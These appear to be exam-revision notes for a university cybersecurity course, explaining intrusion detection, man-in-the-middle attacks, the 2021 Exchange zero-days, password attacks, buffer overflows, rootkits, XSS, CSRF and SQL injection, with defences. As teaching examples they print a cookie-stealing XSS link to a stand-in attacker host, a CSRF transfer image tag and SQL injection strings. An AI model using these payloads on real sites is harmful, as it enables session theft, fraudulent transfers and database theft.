To remember it: an IDS is the CCTV camera watched from the guard room, which can only raise the alarm; an IPS is the guard at the gate, who can turn people away. Knowledge-based detection is that guard holding a wanted poster, sure of the faces on it and blind to anyone else; behaviour-based detection is the guard who stops anyone trying every door handle, and now and then a new professor who is merely lost.
Host and network. A HIDS runs on one host and watches its logs, files and processes: it sees what happens after decryption and every file change, but must be installed on every host. A NIDS watches a network segment: it sees scans and floods across many hosts at once, but not inside encrypted traffic.
False positives and false negatives. A false positive is an alert with no attack behind it; a false negative is an attack with no alert, and it is the worse failure. Tuning trades one against the other: tighter thresholds miss less but alert more.
Where it fits: an IDS is an effective way to detect many DoS and DDoS attacks, port scans (2.10) and worms, and its alerts feed the SIEM (chapter 4). Network detection and response (NDR), the network leg of the SOC visibility triad (chapter 5), is the modern successor of the NIDS, as EDR is of the HIDS.
- Differentiate between an intrusion detection system (IDS) and an intrusion prevention system (IPS), and between knowledge-based and behavior-based detection. Explain honeypots, padded cells, pseudo flaws and sandboxing as preventive measures. Predicted, ch 2 Q8 · 5+5
2.5Man-in-the-middle attacks
Man-in-the-middle attacks: interception, then decryption PREDICTED
A successful MITM has two phases. First the attacker must get into the path (interception); then, because most traffic is encrypted, make what passes through readable (decryption).
| Point | Phase 1: interception | Phase 2: decryption |
|---|---|---|
| Goal | Route the victim's traffic through the attacker | Read traffic that is encrypted |
| Problem solved | Position: normally the traffic never touches the attacker | Readability: in the path, the attacker sees only ciphertext |
| Example technique | ARP spoofing: forged ARP replies on the LAN tell the victim that the gateway's IP is at the attacker's MAC address, and the gateway the same about the victim, so frames go to the attacker first | SSL stripping: the attacker keeps an HTTPS session with the real server but serves the victim plain HTTP, rewriting https links to http, so the victim's password travels in clear text |
| Other techniques | DNS spoofing or cache poisoning, a rogue access point or evil twin Wi-Fi, DHCP spoofing, BGP hijacking | A fake certificate the user clicks through, a downgrade to weak ciphers, a look-alike HTTPS domain |
| Countermeasure | Dynamic ARP inspection and DHCP snooping on switches, port security, 802.1X, static ARP entries for key hosts, a VPN on untrusted Wi-Fi | HSTS with preload, HTTPS everywhere, certificate pinning in apps, never clicking through certificate warnings |
To remember the two phases: a crooked postman who has your letters delivered to his own house first has achieved interception; he still has to steam the envelopes open, which is decryption. HTTPS is the sealed envelope, and HSTS is your standing order that every letter must arrive sealed, so an unsealed one is refused.
How ARP spoofing works. ARP maps IP addresses to MAC addresses on a LAN and has no authentication: a host accepts any ARP reply, even one it never asked for. The attacker keeps sending forged replies so both ends cache the attacker's MAC, then forwards the frames on, so nothing looks broken.
Why SSL stripping works. Users type bank.com, not
https://bank.com, so the first request often goes out as plain HTTP, and the server's
redirect to HTTPS is what protects them. An attacker in the path answers that first request and
never lets the upgrade happen. HSTS closes the gap: once a browser has seen the header, or
finds the site on its preload list, it goes straight to HTTPS. Moxie Marlinspike demonstrated the
attack with his sslstrip tool in 2009.
After the middle. With both phases the attacker sees everything, session cookies included, which leads straight to session hijacking. With interception alone, the attacker still sees metadata: who talks to whom, when, and how much.
- What is a Man-in-the-Middle (MITM) attack? Explain the difference between the 'interception' and 'decryption' phases of a successful MITM attack, providing one example technique for each phase (e.g., ARP spoofing for interception and SSL stripping for decryption). Notes prediction, ch 2 Q5 · 2+6
2.6Zero-day exploits
Zero-day exploits, and the 2021 Exchange Server attack COURSE
Zero-day exploit: the code or technique attackers write to take advantage of that unpatched flaw.
Zero-day attack: the use of that exploit in the wild against targets before a defence or patch exists.
An earlier slide of the deck puts it more loosely: zero-day vulnerabilities are security flaws discovered by hackers that have not been thoroughly addressed by the security community. It gives the two main reasons systems are affected by them, which are the two windows below.
The zero-day life cycle, from the deck's figure: vulnerability discovered, exploit created, attack launched, public and vendor become aware, vulnerability published, signature created, vendor builds the patch, patch installed. Two stretches of it matter, the two lines drawn under the boxes:
- Unknown vulnerability: the zero-day stretch proper, from discovery until the vendor has built the patch. For all of it no fix exists, and for most of it no signature either: the vendor learns of the flaw only at the fourth box, after attacks have begun.
- Window of exposure: longer, from discovery until the patch is actually installed; the extra stretch at the end is the administrators' delay. The deck's window of vulnerability names exactly these two causes: the necessary delay between discovering new malicious code and issuing patches and antivirus updates, and slowness by administrators in applying them.
Why zero-days are high-impact, as the deck heads it, and so dangerous:
- They bypass traditional defences: signature-based antivirus and intrusion detection systems generally fail to detect them, because no pre-existing signatures exist yet.
- No patch available: administrators cannot fix the flaw until the vendor releases a patch, so the only protection is layered: least privilege, segmentation, behaviour monitoring.
- State-sponsored usage: their high monetary value on the black and grey market means advanced zero-days are frequently developed or acquired by nation-state advanced persistent threats (APTs) for espionage (2.2).
- A clear window of opportunity, as the class notes put it: attackers know their targets have no specific way to defend against the attack, or even to detect it.
- Silent use: a flaw an attacker finds may be exploited quietly for months, whereas one reported responsibly is fixed first (chapter 8).
The case: Microsoft Exchange Server, March 2021. On 2 March 2021 Microsoft released emergency, out-of-band patches for four zero-days in on-premises Exchange Server (2013, 2016 and 2019; Exchange Online was not affected). It attributed the attacks to HAFNIUM, a group it assessed as state sponsored and operating from China.
ProxyLogon is the name DEVCORE's researchers, who reported the first flaw, gave it, and the whole chain often goes by that name. Exploitation had begun in early January, weeks before the patch.
Reading a CVE row. Every row of the deck's CVE tables, this one included, names a flaw three ways:
- CVE ID: the Common Vulnerabilities and Exposures number, CVE-year-sequence, run by MITRE: one identifier for one specific flaw in one product, so every vendor, scanner and advisory means the same thing.
- Severity and CVSS score: the Common Vulnerability Scoring System, 0 to 10; the deck's tables give the CVSS version 3 base score. The bands: 9.0 to 10.0 critical, 7.0 to 8.9 high, 4.0 to 6.9 medium, 0.1 to 3.9 low. Chapter 7 shows how scores plus context set the order of fixing.
- Flaw type: the kind of mistake, which MITRE catalogues as CWE, the Common Weakness Enumeration (CWE-918 is SSRF, CWE-502 the deserialisation of untrusted data); the deck's secure coding slide points to two CWE lists (2.9).
| CVE ID | Severity and score | Theoretical flaw type | Practical role in the attack chain |
|---|---|---|---|
| CVE-2021-26855 | Critical, CVSS 9.1 | Server-side request forgery (SSRF) | Initial access: bypasses authentication by masquerading as the Exchange server itself |
| CVE-2021-26857 | High, CVSS 7.8 | Insecure deserialisation | Privilege escalation: runs code as the high-privilege SYSTEM account |
| CVE-2021-26858 | High, CVSS 7.8 | Arbitrary file write | Persistence: writes web shells to disk after authentication |
| CVE-2021-27065 | High, CVSS 7.8 | Arbitrary file write | Persistence: a second way to drop web shells such as China Chopper |
What the theoretical flaw types mean:
- Server-side request forgery (SSRF): the attacker makes the server itself send a request on the attacker's behalf. Here a crafted request was passed to Exchange's back end as though the Exchange server had sent it, and the back end trusts its own server, so no login was needed.
- Insecure deserialisation: deserialisation rebuilds program objects from stored or transmitted data; when that data is untrusted and unchecked, a crafted object makes the program run the attacker's code, here as SYSTEM. The Magento flaw behind MageCart (2.1) was the same kind.
- Arbitrary file write: the attacker can write a file of their choosing anywhere on the server, such as a web shell placed in a folder the web server runs code from.
Phase 2, post-exploitation and lateral movement: what happened after the zero-day exploit gained execution rights on the Exchange server:
- Web shell deployment: the attackers dropped web shells (China Chopper, a one-line ASPX back door), a persistent back door to send commands even after the server's services restarted.
- Credential theft: they extracted hashed and plaintext credentials stored in the server's memory.
- Active Directory database exfiltration: they stole
NTDS.dit, the AD database.
Phase 3, blast radius and systemic impact: Active Directory theft is the worst-case scenario in enterprise security.
- Domain-wide compromise: possession of the AD database grants domain administrator privileges and every password hash in the organisation.
- Loss of trust: once the AD database is stolen, attackers can generate persistent access tokens, so no login can be trusted any more.
- The recovery nightmare: standard antivirus scanning or the vendor patch is no longer enough at this stage. The entire identity architecture is compromised, so organisations are forced to rebuild their whole Active Directory domain from scratch as part of incident remediation.
After disclosure the race turned into mass exploitation: other groups scanned the internet for unpatched servers within days, some dropping ransomware (DearCry); CISA's Emergency Directive 21-02 ordered US federal agencies to patch or disconnect; and in April 2021 the FBI won a court order to remove web shells left on hundreds of US servers.
The deck's first question: if signature-based antivirus cannot detect a zero-day, what could have alerted us? Controls that watch behaviour and change, not known patterns:
- EDR on the server (chapter 5): the IIS worker
(
w3wp.exe) or Exchange's Unified Messaging worker (UMWorkerProcess.exe) startingcmd.exeor PowerShell; LSASS memory being dumped. - File integrity monitoring on the web directories: a new
.aspxfile appearing. - Web log analysis in the SIEM (chapter 4): unusual POST requests
to Exchange's
/ecp/and/owa/paths from unknown addresses. - Network and egress monitoring: a mail server opening new outbound connections, or large compressed archives leaving.
- UEBA (chapter 5): a service account behaving unlike its baseline; directory database access at odd hours.
- Threat hunting (chapter 3) with the indicators Microsoft published, and deception such as honeytokens.
- Less exposure: Outlook on the web and the admin centre not open to the internet, or reachable only through a VPN.
The deck's second question: why did the 2 March patch not fix servers already exploited? A patch closes the door; it does not evict the intruder already inside:
- The web shells were files on disk, a back door independent of the flaw.
- Stolen credentials and the stolen AD database let the attackers log in as legitimate users; they no longer needed the vulnerability at all.
- New accounts, scheduled tasks and copied data persisted too.
- So the cure is incident response (chapter 6): scope the
compromise, hunt down and remove every web shell, reset all credentials (the
krbtgtaccount twice), rebuild what can no longer be trusted, and watch for the attacker's return.
To remember it: changing the lock after a burglary does not throw out the burglar still
hiding in the store room, nor take back the copy he made of the keys. The web shells are the store
room; the stolen credentials and NTDS.dit are the copied keys.
- If signature-based antivirus cannot detect a zero-day exploit, what security controls could have alerted us to this attack? Deck, ch 2 Q1
- Why didn't applying Microsoft's March 2nd emergency patch fix the problem for servers that were already exploited? Deck, ch 2 Q2
- Define social engineering and describe two specific types, such as spear phishing and vishing. What is a Zero-Day vulnerability, and why is it particularly dangerous for organizations? Notes prediction, ch 2 Q6 · 4+4
2.7Password attacks
Password attacks: guessing, dictionary, brute force, spraying and stuffing PREDICTED
Online or offline is the first split. An online attack tries passwords against a live login page or service, so it is slow, noisy and stopped by lockout. An offline attack works on a stolen file of password hashes on the attacker's own hardware: no lockout, no logs, and billions of guesses a second against a fast hash.
| Attack | How it works | Where | Detection signal |
|---|---|---|---|
| Password guessing | An attacker with no prior knowledge of valid credentials guesses likely passwords: the default, the user's name, 123456. Risky, since the failures can lock accounts out | Online | Many failures on one account in a short window |
| Dictionary attack | Tries every entry in a list of likely passwords (common passwords, leaked lists, words with simple changes) rather than every combination | Mostly offline, against a hash | Invisible offline; detect the theft of the hash file instead |
| Brute force (exhaustive) | Tries every combination in the keyspace; certain to succeed, given time | Offline | As above |
| Password spraying | One or a few common passwords (Spring2025!) tried against many different accounts, to avoid the lockout that many passwords against one account would cause | Online | One or two failures each on very many accounts, from one source |
| Credential stuffing | Username and password pairs from the breach dumps of unrelated sites are replayed, betting on credential overlap (password reuse) | Online | Automated logins across many accounts from many addresses, with an unusual success rate |
| Rainbow table | Precomputed chains of hashes looked up against a stolen hash | Offline | Defeated by salting |
The person is the shortest path to the password. An earlier slide of the deck lists the password attacks as password guessing, dictionary attacks and social-engineering attacks: phishing, spear phishing, whaling and vishing simply ask the victim for the password, and dumpster diving finds it written on a note in the rubbish (2.3). No guessing is needed at all, which is why MFA matters even with a strong password.
To remember the five: guessing tries a few likely keys on one door; a dictionary attack
tries every key on a list of common ones; brute force tries every key that could exist; spraying
tries one common key, say Nepal@123, on every door in the hostel corridor, so no single
door rattles enough to raise the alarm; credential stuffing tries keys from a keyring dropped
somewhere else, betting that people use one key everywhere.
Assume a rig that tests ten billion guesses a second against a fast, unsalted hash.
- 8 lowercase letters: combinations, about 21 seconds.
- 8 characters from all 95 printable: , about 7.7 days.
- 16 lowercase letters (a passphrase): , over 100,000 years.
Length multiplies the work far faster than complexity, and a slow, salted hash cuts the guessing rate by many orders of magnitude on top.
Defences, strongest first:
- MFA, ideally phishing-resistant, so a correct password alone is not enough (chapter 1).
- Better passwords: screen new passwords against lists of breached and common ones, favour length (passphrases), and allow password managers so every site gets a unique password, which ends credential stuffing's payoff.
- Lockout and throttling against guessing: lockout or growing delays after repeated failures, tuned so an attacker cannot lock everyone out; per-source limits and CAPTCHA against automated spraying and stuffing.
- Safe storage: salted, slow hashing (bcrypt, scrypt, Argon2, PBKDF2), so a stolen database resists dictionary and rainbow table attacks.
- Monitoring: Windows logs every failed logon as event 4625 and every lockout as 4740; a SIEM rule for one source failing across many accounts catches spraying. The chapter 4 deck's User Admin failed login 37 times is guessing (log analysis).
In Nepal, getting into a computer system with someone else's password without authorisation is an offence under the Electronic Transactions Act 2008 (chapter 8).
- Differentiate between password guessing, dictionary attacks, brute force attacks, password spraying and credential stuffing. What controls protect an organization's accounts against these attacks? Predicted, ch 2 Q9 · 6+4
2.8Application attacks
Buffer overflow, TOCTOU, back doors and rootkits TOP 2/4
82 int · 81 Bh10
How an overflow becomes code execution, in the classic stack overflow:
- The layout: a function reserves a buffer on the stack, say 16 bytes for a name. Next to it sit the saved frame pointer and the return address, where the program jumps when the function ends.
- The unchecked copy: the program copies the input with a function that does not check
length, such as
strcpy()orgets(). - The payload: the attacker sends filler long enough to fill the buffer, followed by a chosen address that lands exactly on the return address, and often shellcode (machine code) in the same input.
- The hijack: when the function returns, it jumps to the attacker's address and runs the attacker's code with the program's privileges.
The deck's figure tells the same story in pictures: the application asks for an input (a name), the attacker inserts a long string to overflow the buffer space, the buffer overflows, the attacker's shellcode lands in memory, and the attacker gets command execution on the target. Its two stacks, before and after the attack, list from the top: function, parameters, return function (the return address), base pointer (the saved frame pointer) and buffer. After the attack the malicious code has climbed from the buffer over the base pointer and the return address.
To remember it: pour a one-litre bottle into a 250 ml glass and the extra does not vanish; it spills onto whatever stands beside the glass. In memory, what stands beside the buffer is the return address.
A wrong guess merely crashes the program, so even a failed overflow is a denial of service. The Morris worm used exactly this against the finger daemon in 1988 (2.1).
Defences, in three layers (the class notes give the same three):
- Memory-safe languages: Rust, Java, C#, Go and Python check bounds themselves, which makes the attack nearly impossible.
- Secure coding, if C or C++ must be used: bounds checking and input validation, and
never the unsafe
gets(),strcpy()orsprintf(); always their bounded counterparts,fgets(),strncpy(),strncat()andsnprintf(), which take the buffer size. - Compiler and OS-level protections: stack canaries, a random value placed before the return address: if an overflow has overwritten it, the program detects the tampering and aborts instead of returning. ASLR, address space layout randomisation, places key program areas at random memory addresses, so the attacker cannot know where to jump. DEP, data execution prevention, also called NX (no-execute), marks the stack and heap non-executable, so injected shellcode cannot run.
The deck's example, a transfer of $10 from account 1 to account 2:
- Time of check: read account 1's balance into
a1and confirma1 > $10(if not, exit). - The work: add $10 to account 2, and subtract $10 from
a1. - Time of use: write
a1back to account 1.
Everything between the read and the write is the opportunity of risk. If two transfers run at once from a balance of $15, both read $15, both pass the check, both pay $10 into account 2, and both write $5 back: account 2 gains $20 while account 1 loses only $10, and an overdraft has slipped through.
The everyday version: a booking site that checks a cinema seat is free and then books it in a separate step can sell the same seat to two people who click at the same moment. Both saw "free" at the check; both pay at the use.
The file version: a privileged program checks that the user may write
/tmp/report, then opens it; in the gap the attacker replaces the file with a link to
/etc/passwd, and the privileged program writes there instead.
Defences: make check and use a single atomic operation; lock the resource, or use a database transaction, from check to use; re-check at the moment of use; and work on open file handles rather than file names.
- Back doors: undocumented command sequences that let anyone who knows them bypass normal access restrictions. Developers add them during development and debugging to speed up the work and avoid logging in again and again (maintenance hooks), then forget to remove them; attackers plant them too, and a web shell is a back door. Code review and testing before release find them.
- Escalation of privilege: once attackers have a foothold as a normal user, their second objective is administrative access. Rootkits are one of the commonest ways they get it and keep it.
- Rootkits: malicious software that gives unauthorised, privileged access to a computer and conceals its own presence. It hides its files, processes and connections, often by hooking the operating system itself, so the system's own tools lie, and lets the attacker access the machine remotely, manipulate it and steal data. By depth: user mode, kernel mode, bootkits and firmware rootkits; the deeper it sits, the earlier it runs and the harder it is to find.
| Depth | Where it lives | What removes it |
|---|---|---|
| User mode | Replaces or hooks ordinary programs and libraries | Integrity checks, reinstalling the affected software |
| Kernel mode | A malicious driver inside the operating system kernel, which then lies to every tool above it | Scanning from clean boot media, reinstalling the operating system |
| Bootkit | The boot process: the MBR, the boot loader or the UEFI boot components, so it loads before the operating system and its security tools (MBR viruses such as Michelangelo were its ancestors) | Secure Boot and measured boot to stop it; rebuilding the boot records |
| Firmware rootkit | The UEFI or BIOS firmware chip on the motherboard | Only reflashing the firmware: a disk wipe and a new operating system leave it in place |
UEFI and the BIOS. Firmware is the code that starts a computer before any operating system loads. On modern PCs the old BIOS (basic input/output system) has been replaced by UEFI, the Unified Extensible Firmware Interface, kept in a flash chip on the motherboard, not on the disk. Code planted there runs first at every boot, beyond the reach of the antivirus and of a disk wipe.
- LoJax: a UEFI rootkit used by APT28 to persist remote access software on targeted systems. ESET found it in 2018, the first UEFI rootkit seen in the wild. It writes itself into the motherboard's flash memory and reinstalls its agent at every boot, so it survives a disk wipe, an operating system reinstall and even a new hard disk. The agent is a modified copy of LoJack, legitimate anti-theft software, hence the name. Secure Boot would have blocked it, since its UEFI module is not properly signed.
- Finding and removing rootkits: integrity checking against a known-good baseline, scanning from clean boot media, and Secure Boot or measured boot for boot and firmware rootkits. The dependable cure is to reflash the firmware and rebuild the system.
| Attack | Root cause | Core defence |
|---|---|---|
| Buffer overflow | Input length not checked | Bounds checks, safe functions, canaries, ASLR, DEP |
| TOCTOU | A gap between the check and the use | Atomic operations, locks, transactions |
| Back door | A hidden way past authentication | Code review, testing, change control |
| Rootkit | Privileged malware hiding in the system | Integrity checks, Secure Boot, rebuild |
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2082 internal Q2
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2081 Bhadra Q2 · 10
- Explain the time of check to time of use (TOCTOU) vulnerability with an example. What are back doors and rootkits, and how do attackers use them once they have a foothold? Predicted, ch 2 Q10 · 5+5
2.9Web application security
Cross-site scripting: reflected, stored and DOM-based TOP 3/4
83 int · 82 int · 81 Bh105
The root cause is one mistake: the application places untrusted input into a page without encoding it, so the browser cannot tell the site's code from the attacker's. XSS exploits the trust a user has in a website.
The three types, in the deck's words: nonpersistent (reflected), persistent (stored), and DOM-based or local XSS. The DOM, the Document Object Model, is the standard structure the browser uses to represent HTML and XML documents: a tree of the page's elements, form fields and cookies that scripts read and change.
| Point | Reflected (non-persistent) | Stored (persistent) | DOM-based (local) |
|---|---|---|---|
| Where the payload resides | In the request itself, usually a URL parameter; nothing is saved | In the application's storage: a database, forum post, comment, guest book or profile | In client-side code and the DOM, often after the # of the URL, which is never sent to the server |
| Execution flow | The attacker crafts a URL with a script and lures the victim to open it; the server echoes the parameter into its response; the browser runs it | The attacker posts text containing script; the server stores it; every later visitor's browser renders the page and runs it | The page's own JavaScript reads attacker-controlled data (location.hash, document.URL, a form field, a cookie) and writes it into the page through an unsafe sink (innerHTML, document.write, eval) |
| Server sees the payload | Yes, and echoes it | Yes, and stores it | Often never |
| Victims | One per clicked link | Everyone who views the page: the most damaging | One per clicked link, and invisible to server logs and web firewalls |
| Deck example | Mike<SCRIPT>alert('hello')</SCRIPT>, and a comments parameter that sends document.cookie to the attacker | A forum post whose body holds a script | <script>alert(document.cookie)</script>, run through modified client-side JavaScript |
| Two developer-side mitigations | 1. Encode every reflected value for its output context (HTML, attribute, JavaScript, URL). 2. Validate the parameter against an allow-list, backed by a CSP that blocks inline script | 1. Encode on output wherever stored data is shown, not only on input. 2. Sanitise rich text on the server with a vetted allow-list library, never a home-made blacklist | 1. Avoid insecure JavaScript sinks: use safe DOM APIs, textContent and setAttribute, never innerHTML, document.write or eval with user data. 2. Validate and encode in the client script before data reaches any sink, and enforce Trusted Types through CSP |
To remember the three: stored XSS is a poisoned notice pinned on the college notice board, read by everyone who passes; reflected XSS is a trick link that makes the site read the poison back to the one student who clicks it; DOM-based XSS never touches the site's server at all, because the student's own browser builds the poisoned page from the link.
The deck's DOM-XSS workflow, in six steps. The website in it is labelled secure, because the flaw is in its client-side script, not on the server:
- The attacker crafts a URL containing the malicious string and sends it to the victim.
- The user is tricked into opening the link and requesting the malicious URL from the website.
- The website receives the request, but does not include the malicious string in its response.
- The user's browser runs the legitimate script inside the response, which inserts the malicious script into the page.
- The browser executes the malicious script that the client-side code inserted.
- The user's sensitive information is sent to the attacker's server.
The deck's cookie thief, a reflected payload hidden in a link:
https://abc.org?comments=<script>new Image().src="http://evilHackerSite.com/grabcookie?c=" + document.cookie</script>When the victim opens the link, the page echoes the comment, the browser runs the script, and the browser fetches an image from the attacker's site with the victim's cookie in its address; the attacker's server log now holds the session.
Across all three types: mark session cookies HttpOnly so script cannot read
them, Secure so they travel only over HTTPS, and SameSite; add a Content
Security Policy that allows scripts only from the site's own origin. These do not remove the flaw,
but they shrink what a successful injection can do. The OWASP Top 10 (2021) files XSS under A03,
Injection.
- Compare reflected, stored, and DOM-based XSS in terms of where the malicious payload resides and execution flow. Provide two developer-side mitigations for each type. 2083 internal Q2 · 5
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2082 internal Q2
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2081 Bhadra Q2 · 10
- Describe a SQL Injection attack and list two primary methods to protect a web application from it, such as using prepared statements and input validation. How does this fundamentally differ from a non-persistent (reflected) Cross-Site Scripting (XSS) attack? Notes prediction, ch 2 Q7 · 4+4
Cross-site request forgery (XSRF or CSRF) TOP 2/4
82 int · 81 Bh10
The trust is the whole point. XSS exploits the trust a user has in a website, to run code on the user's computer. XSRF exploits the trust a remote site has in a user's system, to run commands on the user's behalf. It rests on a reasonable assumption: users are often logged into many sites at the same time.
The deck's banking example. An attacker who wants to steal funds posts a message with a link on an online forum. The link is really a request to the bank's money transfer page, naming the attacker's account. The attacker leaves it there and waits; any user who clicks it while logged in to the bank sends the transfer, and it succeeds.
The deck's figure tells it in five numbered steps:
- The victim logs into the bank account.
- The bank assigns the victim a validation token: the logged-in session.
- The hacker sends a forged request disguised as legitimate communication from the bank.
- The victim unknowingly forwards the request to the bank.
- The bank executes the forged request, using the previously assigned validation token.
No click is needed at all if the request hides in an image tag, <img src="https://bank.example/transfer?to=attacker&amount=50000">,
or in a form that submits itself when the page loads.
To remember it: XSRF is a forged cheque written in your own cheque book: the bank checks that the cheque came from your book, not that you wrote it. In the browser the cheque book is the session cookie, which goes out with every request, and the anti-CSRF token is the signature the forger cannot copy.
Ways to protect against XSRF:
- Anti-CSRF tokens, also called anti-XSRF tokens (the synchronizer token pattern): the server puts a secret, unpredictable token tied to the session in every form, and checks it on every state-changing request. The attacker's page cannot read it, so the forged request fails. The deck's version: secure tokens the attacker would not know to embed in the links. This is the primary defence, the most common and robust.
- Check the referring URL (Origin and Referer header validation): accept a request only
if its
OriginorRefererheader shows it came from the site's own pages. - The SameSite cookie attribute:
SameSite=StrictorLaxstops the browser attaching the session cookie to requests another site started; Chrome and Edge treat a cookie with no SameSite setting as Lax by default. - No state change over GET: transfers and password changes only by POST with a token, so a plain link or image cannot trigger them.
- Re-authentication for sensitive actions: the password or an MFA code before a transfer, a password change or an email change.
- Short sessions and a real logout, which shrink the window in which the user is logged in; a custom request header for scripted requests and the double submit cookie are further options.
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2082 internal Q2
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2081 Bhadra Q2 · 10
- What are the ways to protect against XSRF? Notes prediction, ch 2 Q1
SQL injection TOP 2/4
82 int · 81 Bh10
Riskier than XSS from the organisation's view, as the deck puts it: XSS uses unexpected input to fool a user; SQL injection uses it to reach the database, where every customer's records sit at once.
A login bypass, step by step. The application builds its query by pasting in the form fields:
query = "SELECT * FROM users WHERE name = '" + name + "' AND pass = '" + pass + "'"The attacker types ' OR '1'='1' -- as the name, and the database receives:
SELECT * FROM users WHERE name = '' OR '1'='1' -- ' AND pass = ''The quote closes the string, OR '1'='1' makes the condition true for every row,
and -- turns the password check into a comment. The application logs the attacker in
as the first user in the table, often the administrator.
Data theft with UNION, the deck's figure: the input
' UNION SELECT username, password FROM users-- on a product search turns
SELECT name, description FROM products WHERE category = 'Gifts' into a query that
returns every username and password alongside the products.
| Type | How the attacker gets the answer |
|---|---|
| In-band, error-based | Database error messages shown in the page reveal the structure and the data |
| In-band, UNION-based | A UNION SELECT joins stolen rows to the page's normal results |
| Blind, boolean | No output, but the page changes when a condition is true, so data leaks one yes or no at a time |
| Blind, time-based | A deliberate delay (SLEEP, WAITFOR DELAY) slows the response when a condition is true |
| Out-of-band | The database is made to send the data out itself, for example over DNS |
The damage: a bypassed login, every record read, records changed or deleted, tables dropped, and on badly configured servers, operating system commands run.
Protecting against SQL injection (SQLi), the deck's three:
- Use prepared statements: developers of web applications should leverage prepared statements to limit the application's ability to execute arbitrary code. Prepared statements, including parameterised queries and stored procedures, fix the statement's structure first and pass user input only as parameters, which the database treats as data, never as code. The deck adds that they store the SQL statement on the database server, where only database administrators and developers with appropriate access can change it; the web application may pass parameters but cannot alter the statement's structure. This is the real fix.
- Perform input validation: allow-list the expected type, length and format (an ID is digits only) and reject the rest. A supporting control, not a substitute for the first.
- Limit account privileges: the application's database account holds only the rights it needs, so an injection cannot drop tables or read other schemas.
stmt = conn.prepareStatement("SELECT * FROM users WHERE name = ? AND pass_hash = ?");
stmt.setString(1, name); // input bound as data, never parsed as SQL
stmt.setString(2, hash(password));Also: generic error pages (no database errors shown), a web application firewall as a compensating control, and regular testing, as in the course's web vulnerability assessment lab.
How SQL injection differs from reflected XSS. The core difference is the target and where the malicious code is executed: SQL injection targets the backend database server, and the database itself runs the attacker's SQL; reflected XSS targets the end-user's web browser, and the browser runs the script, with the server acting only as a mirror.
| Point | SQL injection | Reflected XSS |
|---|---|---|
| Target | The database behind the application | The user's browser |
| Where the injected code runs | On the server, in the database engine | In the victim's browser |
| What is confused | Data with SQL | Data with HTML or JavaScript |
| Delivery | The attacker sends the request directly | A victim must be lured into opening a crafted URL |
| Who is harmed | The organisation and every record it holds | The individual who clicks: their session and actions |
| Prime fix | Prepared statements | Output encoding, plus CSP |
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2082 internal Q2
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2081 Bhadra Q2 · 10
- Describe a SQL Injection attack and list two primary methods to protect a web application from it, such as using prepared statements and input validation. How does this fundamentally differ from a non-persistent (reflected) Cross-Site Scripting (XSS) attack? Notes prediction, ch 2 Q7 · 4+4
The four critical web vulnerabilities together, and how to build resilience TOP 2/4
82 int · 81 Bh10
The board paper asks for all four at once: XSS, XSRF, buffer overflow and SQL injection, then the practices that make an application resilient. Each has its own card (XSS, XSRF, buffer overflow, SQL injection); this card puts them side by side, which is the shape the answer takes.
| Vulnerability | What happens | Trust abused | Impact | Key fix |
|---|---|---|---|---|
| XSS | Untrusted input is placed in a page unencoded, so the victim's browser runs the attacker's script | The user's trust in the site | Stolen cookies and sessions, actions as the user, defacement | Output encoding, CSP |
| XSRF | A page on another site makes the victim's browser send an authenticated, state-changing request | The site's trust in the browser | Transfers, password or email changes, made as the victim | Anti-CSRF token, SameSite cookies |
| Buffer overflow | Input larger than a fixed buffer overwrites adjacent memory, the return address included | The belief that input fits the space reserved | A crash (DoS) or arbitrary code with the program's privileges | Bounds checks, safe functions, canaries, ASLR, DEP, memory-safe languages |
| SQL injection | Input breaks out of its data position and runs as part of an SQL query | The belief that parameters stay data | The database read, changed or destroyed; login bypassed | Prepared statements, least privilege |
The common thread: three of the four are injection, data treated as code (script in the page, SQL in the query, machine code in memory); the fourth, XSRF, is a genuine request whose intent is forged. So the practices group naturally.
To remember the thread: an injection is a form filled in with instructions instead of data, like writing "Ram; also open the safe" in the name box of a bank form and finding a clerk who does whatever the form says.
Security best practices for resilience:
- Input validation on the server: allow-list type, length, format and range; reject rather than repair.
- Output encoding for its context (HTML, attribute, JavaScript, URL), with templates that escape by default.
- Parameterised queries, never code built from strings: prepared statements for SQL, safe
DOM APIs for the page, no
eval. - Tokens on every state-changing request: an anti-CSRF token, SameSite cookies, POST only, and re-authentication for sensitive actions.
- Session hardening:
HttpOnly,SecureandSameSitecookies, a new session ID at login, idle and absolute timeouts. - CSP and the other browser-side defences: a Content Security Policy that allows only the site's own scripts, Trusted Types, and the other security headers.
- Memory safety: memory-safe languages, or safe functions plus canaries, ASLR and DEP in any C or C++ component.
- Least privilege everywhere: the database account, the web server's service account and file permissions.
- Errors quiet, logs detailed: generic error pages for users, the detail only in the logs, and monitoring of attack patterns.
- Testing and patching, continuously: code review, SAST and DAST in the build pipeline, dependency scanning, penetration testing, a WAF as a compensating control, and prompt patches for frameworks and libraries.
Answers: the ten best practices for resilience against the four web vulnerabilities, in the order of the list above (Q2 of the 2081 Bhadra paper and the 2082 internal).
How it decodes: ten words, ten practices, initials in order: Ishwor stole three samosas from the shop down the hill, and the village chief gave him a proper beating with a stick. The first half follows a request through the application (input, output, queries, tokens, sessions); the second half hardens everything around it (browser, memory, privilege, errors, testing). Two T's: Tin is tokens, Thokyo is testing.
- IIshwor Input validation on the server
- OOralo Output encoding for its context
- PPasalma Parameterised queries: no code built from strings
